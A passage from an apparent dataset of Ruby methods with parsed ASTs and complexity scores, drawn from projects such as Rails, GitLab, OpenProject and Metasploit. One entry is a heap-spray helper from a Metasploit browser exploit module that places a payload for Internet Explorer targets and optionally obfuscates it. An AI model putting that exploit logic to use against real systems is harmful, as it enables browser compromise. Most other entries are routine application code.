end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_for_field_name_with_blank_as_and_multiple\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"form\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"field_name\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts\"]},{\"type\":\"str\",\"children\":[\"new_\"]},{\"type\":\"str\",\"children\":[\"new_\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"05e7c126-dae0-407e-b92d-c597d2771577"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/password_crackers/hashcat/formatter.rb","start_line":60,"raw_source":"def add_equals_to_base64(str)\n ['', '=', '=='].each do |equals|\n to_test = \"#{str}#{equals}\"\n Base64.strict_decode64(to_test)\n return to_test\n rescue ArgumentError\n next\n end\n nil\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_equals_to_base64\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"str\",\"children\":[\"==\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"equals\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"to_test\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"equals\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_decode64\",{\"type\":\"lvar\",\"children\":[\"to_test\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_test\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"next\",\"children\":[]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"12d55e27-5609-4053-afcb-b4ea7b9e679f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb","start_line":342,"raw_source":"def ie_heap_spray(my_target, p)\n # Land the payload at 0x0c0c0c0c\n case my_target\n when targets[7]\n # IE 9 on Windows 7\n js = ie9_spray(my_target, p)\n when targets[5], targets[6]\n # IE 8 on Windows 7 and Windows Vista\n js = ie8_spray(my_target, p)\n else\n js = ie6_spray(my_target, p)\n end\n\n js = heaplib(js, { :noobfu => true })\n\n if datastore['OBFUSCATE']\n js = ::Rex::Exploitation::JSObfu.new(js)\n js.obfuscate(memory_sensitive: true)\n @heap_spray_fn = js.sym(\"heap_spray\")\n else\n @heap_spray_fn = \"heap_spray\"\n end\n\n return js\n end","complexity_score":31.35,"ast_json":"{\"type\":\"def\",\"children\":[\"ie_heap_spray\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"my_target\"]},{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"ie9_spray\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"ie8_spray\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"ie6_spray\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"heaplib\",{\"type\":\"lvar\",\"children\":[\"js\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noobfu\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OBFUSCATE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Exploitation\"]},\"JSObfu\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"js\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]},\"obfuscate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memory_sensitive\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@heap_spray_fn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]},\"sym\",{\"type\":\"str\",\"children\":[\"heap_spray\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@heap_spray_fn\",{\"type\":\"str\",\"children\":[\"heap_spray\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]}]}]}]}","id":"15da3c7c-85da-46df-bc0d-9408d243c330"} {"repo_name":"rack","file_path":"./repos/rack/lib/rack/utils.rb","start_line":600,"raw_source":"def clean_path_info(path_info)\n parts = path_info.split PATH_SEPS\n\n clean = []\n\n parts.each do |part|\n next if part.empty? || part == '.'\n part == '..' ? clean.pop : clean << part\n end\n\n clean_path = clean.join(::File::SEPARATOR)\n clean_path.prepend(\"/\") if parts.empty? || parts.first.empty?\n clean_path\n end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_path_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_info\"]},\"split\",{\"type\":\"const\",\"children\":[null,\"PATH_SEPS\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"clean\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"==\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"==\",{\"type\":\"str\",\"children\":[\"..\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean\"]},\"pop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"part\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"clean_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean\"]},\"join\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"SEPARATOR\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"first\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean_path\"]},\"prepend\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"clean_path\"]}]}]}","id":"2d9e8546-f02d-4a65-a546-85f4140891e0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/events_helper.rb","start_line":65,"raw_source":"def localized_action_name(event)\n action_name = event.action_name\n # The action fallback is used to cover the types were not included in the maps.\n localized_action_name_map[action_name.to_sym] || action_name\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"localized_action_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"action_name\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"localized_action_name_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action_name\"]},\"to_sym\"]}]},{\"type\":\"lvar\",\"children\":[\"action_name\"]}]}]}]}","id":"8f8fc6d2-4253-432f-8e18-40509020eb87"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/news/filters/news_filter.rb","start_line":34,"raw_source":"def human_name\n News.human_attribute_name(name)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"human_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"News\"]},\"human_attribute_name\",{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}","id":"be60d231-79e3-40aa-aa40-c4194babbf90"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/rsync.rb","start_line":8,"raw_source":"def self.run(params)\n rsync_cmd = [\"rsync\"]\n rsync_cmd << params[:extra]\n rsync_cmd << params[:source]\n rsync_cmd << params[:destination]\n Actions.sh(rsync_cmd.join(\" \"))\n end","complexity_score":9.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rsync_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rsync\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsync_cmd\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"extra\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsync_cmd\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsync_cmd\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"destination\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsync_cmd\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}","id":"9acee83a-3119-43f5-aed2-c3d44e361311"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/module_argument_parsing.rb","start_line":177,"raw_source":"def resembles_rhost_value?(val)\n return false unless val\n\n ::Addressable::URI.parse(val)\n true\n rescue ::Addressable::URI::InvalidURIError => _e\n false\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"resembles_rhost_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Addressable\"]},\"URI\"]},\"InvalidURIError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"_e\"]},{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"25df14cb-0cdc-46f0-8558-8cdac0ab2c9b"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/event_reporter.rb","start_line":11,"raw_source":"def tags\n Fiber[FIBER_KEY] || EMPTY_TAGS\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fiber\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"FIBER_KEY\"]}]},{\"type\":\"const\",\"children\":[null,\"EMPTY_TAGS\"]}]}]}","id":"02e09c81-bc0d-4654-b344-91bf15034648"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/sms/model/smtp.rb","start_line":48,"raw_source":"def initialize(opts={})\n self.address = opts[:address]\n self.port = opts[:port] || 25\n self.username = opts[:username]\n self.password = opts[:password]\n self.helo_domain = opts[:helo_domain] || 'localhost'\n self.login_type = opts[:login_type] || :login\n self.from = opts[:from] || ''\n end","complexity_score":19.67,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"address=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"port=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"username=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"password=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"helo_domain=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"helo_domain\"]}]},{\"type\":\"str\",\"children\":[\"localhost\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"login_type=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"login_type\"]}]},{\"type\":\"sym\",\"children\":[\"login\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"4c6ea553-e073-4a10-8b46-27720ff78c05"} {"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/work_packages_filter_helper.rb","start_line":136,"raw_source":"def project_report_property_closed_path(project, property, property_id, options = {})\n query = {\n f: [\n filter_object(\"status_id\", \"c\"),\n filter_object(\"subproject_id\", \"!*\"),\n filter_object(property, \"=\", property_id)\n ],\n t: default_sort\n }\n project_work_packages_with_query_path(project, query, options)\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project_report_property_closed_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"property\"]},{\"type\":\"arg\",\"children\":[\"property_id\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"f\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_object\",{\"type\":\"str\",\"children\":[\"status_id\"]},{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"filter_object\",{\"type\":\"str\",\"children\":[\"subproject_id\"]},{\"type\":\"str\",\"children\":[\"!*\"]}]},{\"type\":\"send\",\"children\":[null,\"filter_object\",{\"type\":\"lvar\",\"children\":[\"property\"]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"lvar\",\"children\":[\"property_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"t\"]},{\"type\":\"send\",\"children\":[null,\"default_sort\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"project_work_packages_with_query_path\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"8b25f28c-99e4-4af7-b07b-ca5f9ac70db4"} {"repo_name":"forem","file_path":"./repos/forem/app/services/broadcasts/welcome_notification/generator.rb","start_line":150,"raw_source":"def discuss_and_ask_broadcast\n @discuss_and_ask_broadcast ||= find_discuss_ask_broadcast\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"discuss_and_ask_broadcast\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@discuss_and_ask_broadcast\"]},{\"type\":\"send\",\"children\":[null,\"find_discuss_ask_broadcast\"]}]}]}","id":"f2e4057d-1cd2-4589-a04e-992a62d852be"} {"repo_name":"puma","file_path":"./repos/puma/lib/puma/minissl.rb","start_line":311,"raw_source":"def ca=(ca)\n check_file ca, 'ca'\n @ca = ca\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ca=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ca\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_file\",{\"type\":\"lvar\",\"children\":[\"ca\"]},{\"type\":\"str\",\"children\":[\"ca\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ca\",{\"type\":\"lvar\",\"children\":[\"ca\"]}]}]}]}","id":"4dd63f83-b0b6-4bed-9aaf-ea0fe4f85552"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/db/migrate/tables/gitlab_pipelines.rb","start_line":34,"raw_source":"def self.table(migration)\n create_table migration do |t|\n t.references :gitlab_merge_request, null: false\n\n t.bigint :gitlab_id, null: false\n t.string :gitlab_html_url, null: false\n t.bigint :project_id, null: false\n t.string :gitlab_user_avatar_url, null: false\n t.string :status, null: false\n t.string :name, null: false\n t.string :details_url\n t.json :ci_details\n t.datetime :started_at, precision: nil\n t.datetime :completed_at, precision: nil\n\n t.timestamps precision: nil\n t.text :username\n t.text :commit_id\n end\n end","complexity_score":18.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"gitlab_merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"gitlab_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"gitlab_html_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"gitlab_user_avatar_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"details_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"json\",{\"type\":\"sym\",\"children\":[\"ci_details\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"started_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"completed_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"commit_id\"]}]}]}]}]}","id":"c6de9c4c-d7a6-49ff-a77b-2f5a24d5d91c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/ast_parser.rb","start_line":84,"raw_source":"def has_job_class_name_argument?(class_name)\n ast.each_descendant(:send).any? do |node|\n node.arguments.any? do |arg|\n next false unless arg.type == :hash\n\n arg.pairs.any? do |pair|\n key_node, value_node = pair.children\n key_node.type == :sym &&\n key_node.value == JOB_CLASS_NAME_KEY &&\n value_node.type == :str &&\n value_node.str_content == class_name\n end\n end\n end\n end","complexity_score":41.7,"ast_json":"{\"type\":\"def\",\"children\":[\"has_job_class_name_argument?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ast\"]},\"each_descendant\",{\"type\":\"sym\",\"children\":[\"send\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"hash\"]}]},null,{\"type\":\"next\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"pairs\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pair\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key_node\"]},{\"type\":\"lvasgn\",\"children\":[\"value_node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"children\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_node\"]},\"type\"]},\"==\",{